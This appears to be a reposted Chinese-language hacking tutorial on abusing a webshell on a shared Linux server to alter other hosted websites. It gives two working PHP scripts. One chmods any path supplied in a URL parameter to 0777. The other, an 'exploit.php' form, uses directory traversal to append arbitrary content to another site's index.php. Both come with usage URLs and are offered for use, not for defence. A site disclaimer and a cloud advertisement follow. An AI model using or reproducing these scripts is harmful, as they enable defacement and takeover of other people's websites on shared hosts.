linux下用webshell對檔案許可權的修改

來源:互聯網
上載者:User

當我們擁有了一個linux下的shell(伺服器上多個網站)。
這個shell對所在網站的根目錄有可寫入許可權,甚至能查看其他網站的目錄。
那麼,這樣的主機設定肯定是不安全的。
有的時候,我們想對獲得同伺服器的其他站的許可權,比如直接對其他網站的index.php進行修改,卻發現沒有許可權。
我們可以嘗試通過以下指令碼來實現對其他網站的檔案添加許可權。
代碼:
<?php
$path = stripslashes($_GET[&apos;path&apos;]);
$ok = chmod ($path , 0777);
if ($ok == true)
echo " CHMOD OK , Permission editable file or directory. Permission to write";
?>
儲存為chmod.PHP
使用方法簡單,訪問
http://site/chmod.php?path=../../其他網站的目錄/index.php
這裡的index.PHP是要修改許可權的檔案。
另外一個exploit:
把下面的代碼儲存為exploit.PHP
代碼:
<?php
         @$filename = stripslashes($_POST[&apos;filename&apos;]);
         @$mess = stripslashes($_POST[&apos;mess&apos;]);   
     $fp = @fopen("{$_POST[&apos;filename&apos;]}", &apos;a&apos;);
         @fputs($fp,"$mess <hr size="1" color="black">");
         @fclose($fp);
?> 
<form name="form1" action="exploit.php" method="post">
<p align="center"><b>
<br>
CODE :<br>
<textarea name="mess" rows="3"></textarea></font></b></textarea>
</font></b> <p><input type="hidden" name="filename" value="../../AUTRE WEBSITE SUR LE MULTIHOSTING/index.php"></p>
<center>
<input type="reset" name="Submit" value="Delete">
<input name="go" type="submit" value="Send" onClick="javascript:this.style.visibility =&apos;hidden&apos;;">
<center>
</form>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Changing CHMOD Permissions Exploit - Contact : the_gl4di4t0r[AT]hotmail[DOT]com</title>
</head>
<body>
</center>
</body>

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.